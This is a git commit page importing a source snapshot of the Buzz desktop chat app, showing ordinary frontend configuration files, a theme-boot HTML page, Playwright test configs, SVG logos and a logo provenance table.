feat: import Chinese-localized Buzz source snapshot
Docker image / Build (linux/amd64) (push) Has been cancelled
Docker image / Build (linux/arm64) (push) Has been cancelled
Docker image / Merge release multi-arch manifest (push) Has been cancelled
Docker image / Merge debug multi-arch manifest (push) Has been cancelled
Docker image / Build public push gateway (linux/amd64) (push) Has been cancelled
Docker image / Build public push gateway (linux/arm64) (push) Has been cancelled
Docker image / Publish public push gateway image (push) Has been cancelled
Sprig image / Build (linux/amd64) (push) Has been cancelled
Sprig image / Build (linux/arm64) (push) Has been cancelled
Sprig image / Merge multi-arch manifest (push) Has been cancelled
Harbor Buzz Orchestra / Python tests and lint (push) Has been cancelled
CI / Detect Changed Paths (push) Has been cancelled
CI / Rust Lint (push) Has been cancelled
CI / Unit Tests (push) Has been cancelled
CI / Desktop Core (push) Has been cancelled
CI / Desktop Smoke E2E (1) (push) Has been cancelled
CI / Desktop Smoke E2E (2) (push) Has been cancelled
CI / Desktop Smoke E2E (3) (push) Has been cancelled
CI / Desktop Smoke E2E (4) (push) Has been cancelled
CI / Desktop (push) Has been cancelled
CI / Desktop E2E Relay (push) Has been cancelled
CI / Desktop E2E Integration (1/2) (push) Has been cancelled
CI / Desktop E2E Integration (2/2) (push) Has been cancelled
CI / Desktop E2E Integration (push) Has been cancelled
CI / Backend Integration (relay e2e) (push) Has been cancelled
CI / Relay E2E (push) Has been cancelled
CI / Web (push) Has been cancelled
CI / Mobile (push) Has been cancelled
CI / Security (push) Has been cancelled
CI / Dead Token Reference Guard (push) Has been cancelled
CI / Server Cross-Compile (aarch64-unknown-linux-musl) (push) Has been cancelled
CI / Server Cross-Compile (x86_64-unknown-linux-musl) (push) Has been cancelled
CI / Windows Rust (x86_64-pc-windows-msvc) (push) Has been cancelled
CI / Desktop Build (macOS) (push) Has been cancelled
helm chart / lint + unittest + render matrix (push) Has been cancelled
helm chart / install on kind (gated) (push) Has been cancelled
helm chart / publish chart to GHCR (push) Has been cancelled
Mesh Lifecycle / Relay-Driven Mesh Lifecycle Smoke (push) Has been cancelled
Sprig / Build (aarch64-unknown-linux-musl) (push) Has been cancelled
Sprig / Build (x86_64-unknown-linux-musl) (push) Has been cancelled
Sprig / Publish rolling release (push) Has been cancelled
Sprig / Publish tagged release (push) Has been cancelled

Signed-off-by: cls_宁波本机 <908705107@qq.com>
This commit is contained in:
2026-08-13 18:34:25 +08:00
parent 61c3fa1df9
commit 9dfa06ffee
3785 changed files with 1085458 additions and 2 deletions
+30
View File
@@ -0,0 +1,30 @@
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
pnpm-debug.log*
lerna-debug.log*
node_modules
.pnpm-store
dist
dist-ssr
playwright-report
playwright-report.json
test-results
*.local
playwright-report
test-results
# Editor directories and files
.vscode/*
!.vscode/extensions.json
.idea
.DS_Store
*.suo
*.ntvs*
*.njsproj
*.sln
*.sw?
+25
View File
@@ -0,0 +1,25 @@
# Buzz
Desktop chat shell with:
- Tauri + React + TypeScript + Vite
- Tailwind CSS
- shadcn/ui-ready shared components
- Biome (lint/format/check)
- Feature-driven frontend structure
## Scripts
- `pnpm dev` - run the web frontend
- `pnpm tauri dev` - run the desktop app
- `pnpm build` - typecheck and build frontend
- `pnpm typecheck` - TypeScript checks
- `pnpm lint` - Biome lint
- `pnpm format` - Biome format (write)
- `pnpm check` - Biome check
## Structure
- `src/shared` - reusable app-wide code (`ui`, `lib`, `styles`)
- `src/features` - feature modules (vertical slices)
- `src/app` - top-level app composition
+3
View File
@@ -0,0 +1,3 @@
{
"extends": ["../biome.json"]
}
+19
View File
@@ -0,0 +1,19 @@
{
"$schema": "https://ui.shadcn.com/schema.json",
"style": "new-york",
"rsc": false,
"tsx": true,
"tailwind": {
"config": "tailwind.config.js",
"css": "src/shared/styles/globals.css",
"baseColor": "zinc",
"cssVariables": true,
"prefix": ""
},
"aliases": {
"components": "@/shared/ui",
"utils": "@/shared/lib/cn",
"ui": "@/shared/ui",
"lib": "@/shared/lib"
}
}
+63
View File
@@ -0,0 +1,63 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/svg+xml" href="/buzz.svg?v=20260610" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title></title>
<!--
Boot background: the document must be painted before the app bundle (and
its stylesheets) load so cold boot never flashes ahead of the loading
gate. The window itself is also painted pre-document via `backgroundColor`
in tauri.conf.json. The body paints its own themed background once the app
CSS loads, so this never shows through after boot.
The linked stylesheet (boot.css) applies the initial black background.
Kept as a <link> rather than an inline <style> to avoid Tauri's nonce
injection for style-src (see boot.css for the full rationale).
The inline script below reads the cached theme background (same
`buzz-theme-cache` entry ThemeProvider writes) and applies it synchronously
so the boot color matches the themed loading gate — no black flash on light
themes. On the first-ever launch (no cache yet) it seeds the light/dark
class from the OS color scheme, matching the Buzz theme in System mode
that ThemeProvider applies moments later — no wrong-scheme flash before
it loads.
-->
<link rel="stylesheet" href="/boot.css" />
<script>
(() => {
var cached, bg, parsed;
try {
cached = window.localStorage.getItem("buzz-theme-cache");
if (!cached) {
// No stored theme: the default is Buzz following the OS scheme,
// so seed the matching class (and backdrop) now. Otherwise the
// setup gate would paint the wrong scheme until ThemeProvider
// loads asynchronously.
if (window.matchMedia("(prefers-color-scheme: dark)").matches) {
document.documentElement.classList.add("dark");
} else {
document.documentElement.classList.add("light");
document.documentElement.style.backgroundColor = "#fff";
}
return;
}
parsed = JSON.parse(cached);
bg = parsed.vars["--background"];
if (bg) document.documentElement.style.backgroundColor = `hsl(${bg})`;
// Match the cached light/dark class so themed vars resolve correctly
// before ThemeProvider mounts.
document.documentElement.classList.add(parsed.isDark ? "dark" : "light");
} catch {
/* fall back to the black default above */
}
})();
</script>
</head>
<body>
<div id="root"></div>
<script type="module" src="/src/main.tsx"></script>
</body>
</html>
+109
View File
@@ -0,0 +1,109 @@
{
"name": "buzz",
"private": true,
"version": "0.5.8",
"type": "module",
"scripts": {
"dev": "vite",
"build": "tsc && vite build",
"build:e2e": "tsc && vite build --mode e2e",
"typecheck": "tsc --noEmit",
"check:file-sizes": "node ./scripts/check-file-sizes.mjs",
"check:i18n": "node ./scripts/check-i18n.mjs",
"check:px-text": "node ./scripts/check-px-text.mjs",
"check:pubkey-truncation": "node ./scripts/check-pubkey-truncation.mjs",
"lint": "biome lint .",
"check": "biome check . && pnpm check:file-sizes && pnpm check:i18n && pnpm check:px-text && pnpm check:pubkey-truncation",
"format": "biome format --write .",
"test": "node --import ./test-loader.mjs --experimental-strip-types --test \"src/**/*.test.mjs\"",
"preview": "vite preview",
"tauri": "tauri",
"test:e2e": "pnpm build:e2e && playwright test",
"test:e2e:smoke": "pnpm build:e2e && playwright test --project=smoke",
"test:e2e:integration": "pnpm build:e2e && playwright test --project=integration",
"test:e2e:report": "playwright show-report",
"tauri:build": "tauri build"
},
"dependencies": {
"@dnd-kit/core": "^6.3.1",
"@dnd-kit/sortable": "^10.0.0",
"@dnd-kit/utilities": "^3.2.2",
"@emoji-mart/data": "^1.2.1",
"@emoji-mart/react": "^1.1.1",
"@fontsource-variable/inter": "^5.2.8",
"@fontsource/jetbrains-mono": "^5.3.0",
"@mediapipe/tasks-vision": "^0.10.35",
"@radix-ui/react-alert-dialog": "^1.1.15",
"@radix-ui/react-avatar": "^1.1.11",
"@radix-ui/react-checkbox": "^1.3.3",
"@radix-ui/react-context-menu": "^2.2.16",
"@radix-ui/react-dialog": "^1.1.15",
"@radix-ui/react-dropdown-menu": "^2.1.16",
"@radix-ui/react-focus-scope": "^1.1.8",
"@radix-ui/react-popover": "^1.1.15",
"@radix-ui/react-separator": "^1.1.8",
"@radix-ui/react-slot": "^1.2.4",
"@radix-ui/react-switch": "^1.2.6",
"@radix-ui/react-tabs": "^1.1.13",
"@radix-ui/react-toggle": "^1.1.10",
"@radix-ui/react-tooltip": "^1.2.8",
"@tanstack/react-query": "^5.90.21",
"@tanstack/react-router": "^1.168.10",
"@tanstack/react-virtual": "^3.14.2",
"@tauri-apps/api": "~2.11",
"@tauri-apps/plugin-notification": "^2.3.3",
"@tauri-apps/plugin-opener": "~2.5",
"@tauri-apps/plugin-process": "^2.3.1",
"@tauri-apps/plugin-updater": "^2.10.0",
"@tiptap/core": "^3.22.3",
"@tiptap/extension-link": "^3.22.3",
"@tiptap/extension-placeholder": "^3.22.3",
"@tiptap/pm": "^3.22.3",
"@tiptap/react": "^3.22.3",
"@tiptap/starter-kit": "^3.22.3",
"class-variance-authority": "^0.7.1",
"clsx": "^2.1.1",
"embla-carousel-react": "^8.6.0",
"emoji-mart": "^5.6.0",
"i18next": "^25.10.5",
"jdenticon": "^3.3.0",
"lucide-react": "^1.0.0",
"motion": "^12.38.0",
"qrcode": "^1.5.4",
"qrcode.react": "^4.2.0",
"react": "^19.1.0",
"react-diff-view": "^3.3.2",
"react-dom": "^19.1.0",
"react-i18next": "^16.6.2",
"react-markdown": "^10.1.0",
"remark-breaks": "^4.0.0",
"remark-gfm": "^4.0.1",
"shiki": "^4.0.2",
"sonner": "^2.0.7",
"tailwind-merge": "^3.5.0",
"tiptap-markdown": "^0.9.0",
"upng-js": "^2.1.0",
"virtua": "0.49.3",
"yaml": "^2.8.3",
"zod": "^4.4.3"
},
"devDependencies": {
"@noble/hashes": "^2.0.1",
"@playwright/test": "^1.58.2",
"@tailwindcss/postcss": "^4.3.0",
"@tanstack/router-plugin": "^1.167.12",
"@tanstack/virtual-file-routes": "^1.161.7",
"@tauri-apps/cli": "~2.11.4",
"@testing-library/react": "^16.3.2",
"@types/react": "^19.1.8",
"@types/react-dom": "^19.1.6",
"@vitejs/plugin-react": "^6.0.0",
"jsdom": "^27.4.0",
"nostr-tools": "^2.23.3",
"postcss": "^8.5.8",
"tailwindcss": "^4.3.0",
"tw-animate-css": "^1.4.0",
"typescript": "~6.0.0",
"vite": "^8.0.0"
}
}
+183
View File
@@ -0,0 +1,183 @@
import { defineConfig, devices } from "@playwright/test";
export default defineConfig({
testDir: "./tests/e2e",
timeout: 30_000,
retries: process.env.CI ? 2 : 0,
workers: 1,
reporter: [
["list"],
["html", { open: "never", outputFolder: "playwright-report" }],
],
use: {
baseURL: "http://127.0.0.1:4173",
screenshot: "only-on-failure",
trace: "on-first-retry",
video: "retain-on-failure",
},
projects: [
{
name: "smoke",
testMatch: [
"**/smoke.spec.ts",
"**/onboarding-docked-cta-screenshots.spec.ts",
"**/identity-key-help.spec.ts",
"**/key-import-reveal.spec.ts",
"**/navigation.spec.ts",
"**/channels.spec.ts",
"**/channel-shared-header-backdrop.spec.ts",
"**/channel-composer-overflow.spec.ts",
"**/badge.spec.ts",
"**/channel-browser.spec.ts",
"**/channel-add-screenshots.spec.ts",
"**/add-community-screenshots.spec.ts",
"**/hosted-communities-settings-screenshots.spec.ts",
"**/invites-settings-screenshots.spec.ts",
"**/messaging.spec.ts",
"**/message-feedback-snapshots.spec.ts",
"**/custom-emoji.spec.ts",
"**/profile-custom-emoji-status.spec.ts",
"**/custom-emoji-ui.spec.ts",
"**/channel-mute.spec.ts",
"**/channel-star.spec.ts",
"**/channel-controls.spec.ts",
"**/channel-activity-popover.spec.ts",
"**/active-turn-resilience.spec.ts",
"**/profile-active-turn.spec.ts",
"**/config-bridge-screenshots.spec.ts",
"**/observer-feed-screenshots.spec.ts",
"**/core-memory-screenshots.spec.ts",
"**/activity-scope-label-screenshots.spec.ts",
"**/welcome-agent-modal-screenshots.spec.ts",
"**/local-archive-screenshots.spec.ts",
"**/voice-settings.spec.ts",
"**/agent-readiness-screenshots.spec.ts",
"**/agent-error-state-screenshots.spec.ts",
"**/edit-agent.spec.ts",
"**/doctor-cta-screenshots.spec.ts",
"**/pubkey-display-screenshots.spec.ts",
"**/file-attachment.spec.ts",
"**/image-attachment-gallery.spec.ts",
"**/composer-image-draw.spec.ts",
"**/video-attachment.spec.ts",
"**/spoiler.spec.ts",
"**/composer-link-shortcut.spec.ts",
"**/composer-selection-formatting.spec.ts",
"**/composer-tooltip-dismiss.spec.ts",
"**/mentions.spec.ts",
"**/team-mentions.spec.ts",
"**/persistent-agent-audience.spec.ts",
"**/relay-reconnect.spec.ts",
"**/relay-reconnect-affordance.spec.ts",
"**/workflows.spec.ts",
"**/identity-archive.spec.ts",
"**/identity-archive-hide.spec.ts",
"**/relay-connectivity.spec.ts",
"**/unread-pill.spec.ts",
"**/sidebar-more-unread-overlap.spec.ts",
"**/home-collapsed-top-chrome.spec.ts",
"**/top-chrome-zoom-clearance.spec.ts",
"**/thread-unread.spec.ts",
"**/workspace-rail.spec.ts",
"**/community-rail.spec.ts",
"**/boot-splash.spec.ts",
"**/thread-reply-anchor-roleplay.spec.ts",
"**/threadpane-ultrawide.spec.ts",
"**/thread-focus-mode.spec.ts",
"**/animated-avatar.spec.ts",
"**/reminders.spec.ts",
"**/reminder-click-repro.spec.ts",
"**/virtualization.spec.ts",
"**/scroll-history.spec.ts",
"**/channel-dense-second-reach.spec.ts",
"**/channel-window-mock-paging.spec.ts",
"**/live-broadcast-reply-timeline.spec.ts",
"**/markdown-parse-cache.spec.ts",
"**/overscroll-boundary.spec.ts",
"**/terminal-wheel.spec.ts",
"**/cold-switch-longtask.perf.ts",
"**/timeline-no-shift.spec.ts",
"**/human-edit-agent-content.spec.ts",
"**/empty-edit-delete.spec.ts",
"**/reaction-order.spec.ts",
"**/reaction-names.spec.ts",
"**/inbox-reactions.spec.ts",
"**/inbox-edit.spec.ts",
"**/send-channel-binding.spec.ts",
"**/project-commit-detail.spec.ts",
"**/project-inbox.spec.ts",
"**/project-issue-comments.spec.ts",
"**/project-pr-review.spec.ts",
"**/persona-model-combobox-screenshots.spec.ts",
"**/drafts-screenshots.spec.ts",
"**/drafts-all-fix-screenshots.spec.ts",
"**/inbox-refactor-screenshots.spec.ts",
"**/buzz-theme-screenshots.spec.ts",
"**/channel-sort.spec.ts",
"**/identity-lost.spec.ts",
"**/deep-link-invite.spec.ts",
"**/invite-link-copy.spec.ts",
"**/global-agent-config-screenshots.spec.ts",
"**/doctor-states.spec.ts",
"**/onboarding-avatar-skip.spec.ts",
"**/onboarding-backup.spec.ts",
"**/onboarding-agent-defaults.spec.ts",
"**/nostr-bind.spec.ts",
"**/mobile-pairing-qr.spec.ts",
"**/profile-nsec-reveal.spec.ts",
"**/profile-backup-settings.spec.ts",
"**/signout-confirmation.spec.ts",
"**/agent-provider-dropdowns.spec.ts",
"**/agent-lifecycle-feedback.spec.ts",
"**/agent-access-warning.spec.ts",
"**/edit-agent-run-on.spec.ts",
"**/inbox-live-update.spec.ts",
"**/mesh-compute.spec.ts",
"**/observer-archive-policy.spec.ts",
"**/harness-management.spec.ts",
"**/harness-catalog-screenshots.spec.ts",
"**/inline-custom-harness.spec.ts",
"**/where-to-run-config.spec.ts",
"**/huddle-transcription.spec.ts",
"**/agent-numeric-tuning.spec.ts",
"**/needs-restart-screenshots.spec.ts",
],
use: {
...devices["Desktop Chrome"],
},
},
{
name: "integration",
testMatch: [
"**/agents.spec.ts",
"**/agent-snapshot-recipient.spec.ts",
"**/onboarding.spec.ts",
"**/stream.spec.ts",
"**/integration.spec.ts",
"**/dm-double-notification.spec.ts",
"**/profile.spec.ts",
"**/sidebar.spec.ts",
"**/sidebar-relay-card.spec.ts",
"**/tokens.spec.ts",
"**/persona-env-vars.spec.ts",
"**/persona-sync.spec.ts",
"**/team-snapshot.spec.ts",
"**/agents-everywhere.live.spec.ts",
"**/relay-restart.live.spec.ts",
"**/parity-ancestor-island.spec.ts",
],
use: {
...devices["Desktop Chrome"],
},
expect: {
timeout: process.env.CI ? 15_000 : 10_000,
},
},
],
webServer: {
command: "python3 -m http.server 4173 -d dist",
cwd: ".",
reuseExistingServer: !process.env.CI,
url: "http://127.0.0.1:4173",
},
});
+9
View File
@@ -0,0 +1,9 @@
import { defineConfig } from "@playwright/test";
export default defineConfig({
testDir: "./tests/e2e",
testMatch: "**/agents-everywhere.live.spec.ts",
timeout: 90_000,
workers: 1,
reporter: "list",
});
+23
View File
@@ -0,0 +1,23 @@
import { defineConfig, devices } from "@playwright/test";
export default defineConfig({
testDir: "./tests/e2e",
timeout: 60_000,
retries: 0,
workers: 1,
reporter: [["list"]],
use: { baseURL: "http://127.0.0.1:4173" },
projects: [
{
name: "perf",
testMatch: ["**/*.perf.ts"],
use: { ...devices["Desktop Chrome"] },
},
],
webServer: {
command: "python3 -m http.server 4173 -d dist",
cwd: ".",
reuseExistingServer: true,
url: "http://127.0.0.1:4173",
},
});
+5
View File
@@ -0,0 +1,5 @@
export default {
plugins: {
"@tailwindcss/postcss": {},
},
};
Binary file not shown.

After

Width:  |  Height:  |  Size: 3.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.0 KiB

+18
View File
@@ -0,0 +1,18 @@
/*
* Boot background — applied before the app bundle loads so the window never
* flashes an unstyled background on cold start. The inline script in
* index.html overwrites this with the cached theme color once ThemeProvider's
* state is available; on first-ever launch it falls back to this black default.
*
* Kept as a linked stylesheet (not an inline <style>) so that Tauri's
* build-time asset processing does not inject a nonce token into this element.
* Tauri nonces inline <style> elements and adds the corresponding 'nonce-…'
* source to style-src at runtime; per the CSP spec a nonce in a directive
* causes the browser to ignore 'unsafe-inline', which would block TipTap's
* runtime stylesheet injection and emoji-mart's shadow-root styles in packaged
* builds. The inline boot script is SHA-256 hashed (not nonced) — that path
* only applies to scripts, not stylesheets.
*/
html {
background-color: #000;
}
+10
View File
@@ -0,0 +1,10 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" role="img" aria-label="Buzz">
<rect width="512" height="512" rx="96" fill="#0b0b0b"/>
<path d="M256 75 334 120v90l-78 45-78-45v-90z" fill="#ffd84d"/>
<path d="M178 210 256 255v90l-78 45-78-45v-90z" fill="#ffbd24"/>
<path d="M334 210 412 255v90l-78 45-78-45v-90z" fill="#ffb000"/>
<path d="M256 300 334 345v90l-78 45-78-45v-90z" fill="#ff8a00"/>
<path d="M256 105 306 134l-50 29-50-29z" fill="#ffe680" opacity=".75"/>
<path d="M178 240 228 269l-50 29-50-29z" fill="#ffe680" opacity=".55"/>
<path d="M334 240 384 269l-50 29-50-29z" fill="#ffe680" opacity=".55"/>
</svg>

After

Width:  |  Height:  |  Size: 646 B

+40
View File
@@ -0,0 +1,40 @@
# Preset harness logos — provenance
Third-party marks bundled to identify tier-2 preset harnesses in the runtime
gallery (`PRESET_LOGOS` in `desktop/src/features/onboarding/ui/RuntimeIcon.tsx`).
Nominative use only — each mark identifies its own vendor's harness.
Add a row here when adding a preset logo; only bundle marks whose upstream
license permits redistribution.
| File | Upstream | Commit | License | Source path | Modifications |
|---|---|---|---|---|---|
| `devin.svg` | [Cognition Devin documentation](https://docs.devin.ai/cli) | Retrieved 2026-07-27 | Cognition trademark; nominative use to identify the Devin harness | Official documentation `logo/favicon.svg` | Added the official black mark to a white square canvas so it remains legible in both app themes |
| `hermes.png` | [NousResearch/hermes-agent](https://github.com/NousResearch/hermes-agent) | `6ad632b` | MIT © 2025 Nous Research | `website/static/img/logo.png` | Cropped the baked-in border frame, padded to square, resized to 64×64, quantised to a 16-colour palette |
| `openclaw.svg` | [openclaw/openclaw](https://github.com/openclaw/openclaw) | `b06f40a` | MIT © 2026 OpenClaw Foundation | `ui/public/favicon.svg` | Removed the SMIL animation elements (renders the upstream rest pose statically — verified pixel-identical to the upstream frame at t=0); minified paths |
| `omp.svg` | [can1357/oh-my-pi](https://github.com/can1357/oh-my-pi) | `667111575ebba136dadfd6989379e7f67e0d40d9` | MIT © 2025 Mario Zechner; © 20252026 Can Bölük | `assets/icon.svg` | None |
| `kimi.png` | [MoonshotAI/kimi-cli](https://github.com/MoonshotAI/kimi-cli) | `4a550effdfcb29a25a5d325bf935296cc50cd417` | Apache-2.0; NOTICE: Kimi Code CLI © 2025 Moonshot AI | `web/public/logo.png` | None |
| `grok.svg` | [SpaceXAI brand guidelines](https://x.ai/legal/brand-guidelines) | Retrieved 2026-07-25 | xAI Brand Guidelines: marks may be used to accurately refer to xAI or its services; logos must be used exactly as provided | `SpaceXAI_Grok_Assets.zip``Grok_Logomark_Dark.svg` | None |
## Inline SVG marks (`RUNTIME_MARKS`)
Monochrome marks inlined as `currentColor` paths in
`desktop/src/features/onboarding/ui/HarnessMarks.tsx` (no files under
`public/`), so they adapt to dark/light themes without bitmap filters.
| Mark | Upstream | Version/Commit | License | Source path | Modifications |
|---|---|---|---|---|---|
| Goose | [block/goose](https://github.com/block/goose) | `305849b71709b95b86ed9f11bd3bc939899c0aab` | Apache-2.0 © Block, Inc. | `documentation/static/img/goose.svg` | `fill="#101010"``currentColor`; dropped the redundant clipPath wrapper |
| Cursor | [simple-icons](https://github.com/simple-icons/simple-icons) | `16.27.1` (slug `cursor`) | CC0-1.0 (path data); nominative use of the Cursor mark to identify Cursor's harness | `icons/cursor.svg` | `fill``currentColor` |
Codex deliberately has **no** bundled mark: the OpenAI blossom was removed
from simple-icons in v16 at the vendor's request, so we do not ship it —
Codex renders `RuntimeIcon`'s neutral terminal-glyph fallback instead.
`amp.png` and `opencode.svg` predate this file; their provenance was not
recorded when they were added. Cursor previously used the generic terminal
fallback because Cursor's own brand page does not grant redistribution; the
CC0-licensed simple-icons path (above) resolves that, mirroring the grok
nominative-use precedent. The previous unproven `cursor.png` was removed, as
were the unproven `chatgpt.png` and `goose.png` builtin-runtime bitmaps
(replaced by the inline marks above).
Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 KiB

+4
View File
@@ -0,0 +1,4 @@
<svg width="425" height="425" viewBox="0 0 425 425" fill="none" xmlns="http://www.w3.org/2000/svg">
<rect width="425" height="425" fill="white"/>
<path d="M70 159.333V91.3471C70 88.3592 71.594 85.5983 74.1816 84.1044L133.043 50.1205C135.631 48.6265 138.819 48.6265 141.407 50.1205L200.269 84.1044C202.856 85.5983 204.45 88.3592 204.45 91.3471V126.068C204.708 137.606 210.806 148.734 221.531 154.926C232.256 161.117 244.942 160.834 255.063 155.289L285.132 137.929C287.719 136.435 290.907 136.435 293.495 137.929L352.357 171.913C354.944 173.406 356.538 176.167 356.538 179.155V247.123C356.538 250.111 354.944 252.872 352.357 254.366L293.495 288.35C290.907 289.844 287.719 289.844 285.132 288.35L255.306 271.13C245.146 265.456 232.344 265.117 221.534 271.358C210.809 277.55 204.711 288.678 204.453 300.215V334.926C204.453 337.914 202.859 340.675 200.271 342.169L141.41 376.153C138.822 377.647 135.634 377.647 133.046 376.153L74.1845 342.169C71.5969 340.675 70.0028 337.914 70.0028 334.926V266.959C70.0029 263.971 71.5969 261.21 74.1845 259.716L133.046 225.732C135.634 224.238 138.822 224.238 141.41 225.732L171.547 243.132C181.656 248.638 194.306 248.906 205.005 242.729C215.815 236.488 221.922 225.231 222.088 213.595C221.83 202.057 215.732 189.737 205.008 183.545C194.283 177.353 181.597 177.636 171.476 183.181L141.269 200.72C138.67 202.229 135.461 202.228 132.864 200.716L74.1576 166.562C71.5835 165.065 70 162.311 70 159.333Z" fill="black"/>
</svg>

After

Width:  |  Height:  |  Size: 1.4 KiB

+4
View File
@@ -0,0 +1,4 @@
<svg width="1024" height="1024" viewBox="0 0 1024 1024" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M395.479 633.828L735.91 381.105C752.599 368.715 776.454 373.548 784.406 392.792C826.26 494.285 807.561 616.253 724.288 699.996C641.016 783.739 525.151 802.104 419.247 760.277L303.556 814.143C469.49 928.202 670.987 899.995 796.901 773.282C896.776 672.843 927.708 535.937 898.785 412.476L899.047 412.739C857.105 231.37 909.358 158.874 1016.4 10.6326C1018.93 7.11771 1021.47 3.60279 1024 0L883.144 141.651V141.212L395.392 633.916" fill="#0A0A0A"/>
<path d="M325.226 695.251C206.128 580.84 226.662 403.776 328.285 301.668C403.431 226.097 526.549 195.254 634.026 240.596L749.454 186.994C728.657 171.88 702.007 155.623 671.424 144.2C533.19 86.9942 367.693 115.465 255.323 228.382C147.234 337.081 113.244 504.215 171.613 646.833C215.216 753.423 143.739 828.818 71.7385 904.916C46.2237 931.893 20.6216 958.87 0 987.429L325.139 695.339" fill="#0A0A0A"/>
</svg>

After

Width:  |  Height:  |  Size: 965 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

+16
View File
@@ -0,0 +1,16 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 120 90" width="120" height="90">
<!-- Pi symbol with plugin connector -->
<!-- Horizontal bar -->
<rect x="10" y="8" width="100" height="12" rx="2" fill="#fafafa"/>
<!-- Left leg -->
<rect x="25" y="20" width="12" height="62" rx="2" fill="#fafafa"/>
<!-- Right leg -->
<rect x="75" y="20" width="12" height="45" rx="2" fill="#fafafa"/>
<!-- Plugin connector -->
<rect x="71" y="55" width="20" height="16" rx="3" fill="#f97316"/>
<rect x="76" y="59" width="3" height="8" rx="1" fill="#0d0d0d"/>
<rect x="82" y="59" width="3" height="8" rx="1" fill="#0d0d0d"/>
<!-- Decorative dots -->
<circle cx="18" cy="14" r="2" fill="#f97316" opacity="0.8"/>
<circle cx="102" cy="14" r="2" fill="#f97316" opacity="0.8"/>
</svg>

After

Width:  |  Height:  |  Size: 795 B

+16
View File
@@ -0,0 +1,16 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 120 120" fill="none">
<defs>
<linearGradient id="a" x1="0%" y1="0%" x2="100%" y2="100%">
<stop offset="0%" stop-color="#ff4d4d"/>
<stop offset="100%" stop-color="#991b1b"/>
</linearGradient>
</defs>
<path d="M60 10C30 10 15 35 15 55c0 20 15 40 30 45v10h10v-10s5 2 10 0v10h10v-10c15-5 30-25 30-45 0-20-15-45-45-45Z" fill="url(#a)"/>
<path d="M20 45C5 40 0 50 5 60s15 5 20-5c3-7 0-10-5-10Z" fill="url(#a)"/>
<path d="M100 45c15-5 20 5 15 15s-15 5-20-5c-3-7 0-10 5-10Z" fill="url(#a)"/>
<path d="M45 15Q35 5 30 8M75 15Q85 5 90 8" stroke="#ff4d4d" stroke-width="3" stroke-linecap="round"/>
<circle cx="45" cy="35" r="6" fill="#050810"/>
<circle cx="75" cy="35" r="6" fill="#050810"/>
<circle cx="46" cy="34" r="2.5" fill="#00e5cc"/>
<circle cx="76" cy="34" r="2.5" fill="#00e5cc"/>
</svg>

After

Width:  |  Height:  |  Size: 878 B

@@ -0,0 +1,7 @@
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink" width="512" height="512"><svg width="512" height="512" viewBox="0 0 512 512" fill="none" xmlns="http://www.w3.org/2000/svg">
<rect width="512" height="512" fill="#131010"></rect>
<path d="M320 224V352H192V224H320Z" fill="#5A5858"></path>
<path fill-rule="evenodd" clip-rule="evenodd" d="M384 416H128V96H384V416ZM320 160H192V352H320V160Z" fill="white"></path>
</svg><style>@media (prefers-color-scheme: light) { :root { filter: none; } }
@media (prefers-color-scheme: dark) { :root { filter: none; } }
</style></svg>

After

Width:  |  Height:  |  Size: 612 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 325 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1021 KiB

+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2023 Emerge Tools, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 21 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.5 KiB

Binary file not shown.
+1
View File
@@ -0,0 +1 @@
